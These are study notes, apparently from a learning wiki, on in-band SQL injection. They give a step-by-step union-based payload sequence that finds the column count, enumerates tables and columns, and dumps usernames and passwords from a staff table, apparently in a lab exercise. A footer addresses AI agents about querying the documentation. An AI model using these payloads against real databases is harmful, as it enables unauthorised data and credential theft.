# In-Band SQLi

### 2 types:

* Error-Based SQLi
* Union-Based SQLi

### Example for an Union-Based SQLi:

1. Try to find how many columns the original SELECT query return

   <mark style="color:red;">`1 UNION SELECT 1`</mark>→ error

   <mark style="color:red;">`1 UNION SELECT 1,2`</mark>→ error

   <mark style="color:red;">`1 UNION SELECT 1,2,3`</mark>→ success!

   So, in this case, we have 3 columns
2. If the result is only one the first one, do this: <mark style="color:red;">`0 UNION SELECT 1,2,3`</mark>
3. Get the database name

   <mark style="color:red;">`0 UNION SELECT 1,2,database()`</mark>
4. And so on with tables and columns that are in the founded database

{% code overflow="wrap" %}

```sql
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'
```

{% endcode %}

{% code overflow="wrap" %}

```sql
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'
```

{% endcode %}

5. Finally, concat every columns you want the result to dump values

{% code overflow="wrap" fullWidth="false" %}

```sql
0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://meitoka.gitbook.io/stash/learning/sqli/in-band-sqli.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
